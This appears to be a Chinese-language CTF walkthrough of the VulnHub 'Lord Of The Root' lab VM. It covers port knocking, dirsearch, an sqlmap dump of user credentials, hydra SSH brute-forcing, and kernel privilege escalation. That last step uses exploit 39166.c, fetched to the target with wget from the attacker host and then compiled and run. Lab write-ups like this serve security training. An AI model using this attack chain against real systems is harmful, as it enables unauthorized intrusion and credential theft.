Lord Of The Root: 1.0.1通关
Lord Of The Root: 1.0.1
来自 <Lord Of The Root: 1.0.1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.247
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.247

发现只有22端口开放了ssh服务,那就只能访问看看

1. 确认端口敲击需求
- 目标服务器可能隐藏了其他服务的端口,需通过预定义的端口序列敲门才能临时开放。
- 常见序列示例:7000,8000,9000(TCP/UDP)或动态组合(需信息收集)。
2. knock自动化工具测试端口敲击
sudo apt install knockd
knock -v 192.168.23.247 1 2 3
nmap -sV -T4 -p- -A 192.168.23.247

这次就能够成功扫描出来端口号
4,然后再访问1337端口的http服务

扫描网站存在的子目录
dirsearch -u http://192.168.23.247:1337 -x 403,404,301

http://192.168.23.247:1337/404.html

查看源代码复现一个base64编码的字符串

经过两次base64解码得到一个文件路径

访问之后发现是一个登录页面
http://192.168.23.247:1337/978345210/index.php

5,对网页进行信息收集和漏洞验证

没有明显的特征,因为是一个登录框,尝试结合burpsuite手工注入验证有无sql注入
(需要使用powershell脚本在window上面敲击一下1,2,3端口,否则无法正常访问1337端口的web服务)
| # 保存为 Knock-Ports.ps1,右键以管理员身份运行 $target = "192.168.23.247" $ports = @(1, 2, 3) # 修改为猜测的端口序列 foreach ($port in $ports) { try { $socket = New-Object System.Net.Sockets.TcpClient $socket.ConnectAsync($target, $port).Wait(100) # 100ms超时 Write-Host "[+] SYN sent to port $port" } catch { Write-Host "[!] Failed to send SYN to port $port" } finally { $socket.Close() } } |
敲击之后访问成功

抓一个POST请求包

还是直接偷懒使用sqlmap扫描一下
sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms --batch

sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms --batch --dbs

sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms --batch -D Webapp --tables

sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms --batch -D Webapp -T Users --columns

sqlmap -o -u 'http://192.168.23.247:1337/978345210/index.php' --forms -D Webapp -T Users --dump --bacth

成功得到一堆账户密码
iwilltakethering/frodo
MyPreciousR00t/smeagol
AndMySword/aragorn
AndMyBow/legolas
AndMyAxe/gimli
6,将这些账户密码写入字典进行ssh爆破
hydra -L username.txt -P password.txt 192.168.23.247 ssh

ssh登录成功 smeagol/MyPreciousR00t
ssh smeagol@192.168.23.247

7,信息收集一下

sudo -l
find / -perm -4000 -type f 2>/dev/null

/SECRET/door1/file
/SECRET/door2/file
/SECRET/door3/file
- 这些文件非常规系统文件,可能是靶场故意设置的提权点。
- 检查文件属性和类型:
ls -l /SECRET/door*/file
file /SECRET/door*/file

8,还是尝试使用内核提权exp脚本
searchsploit ubuntu 14.04

使用39166.c进行提权
searchsploit -m 39166.c

然后在kali上面开启一个http服务,控制靶机下载这个攻击脚本
python -m http.server

wget http://192.168.23.182:8000/39166.c

gcc进行编译给文件777权限
gcc 39166.c -o 39166
chmod 777 39166
./39166

提权成功成为root用户,得到flag

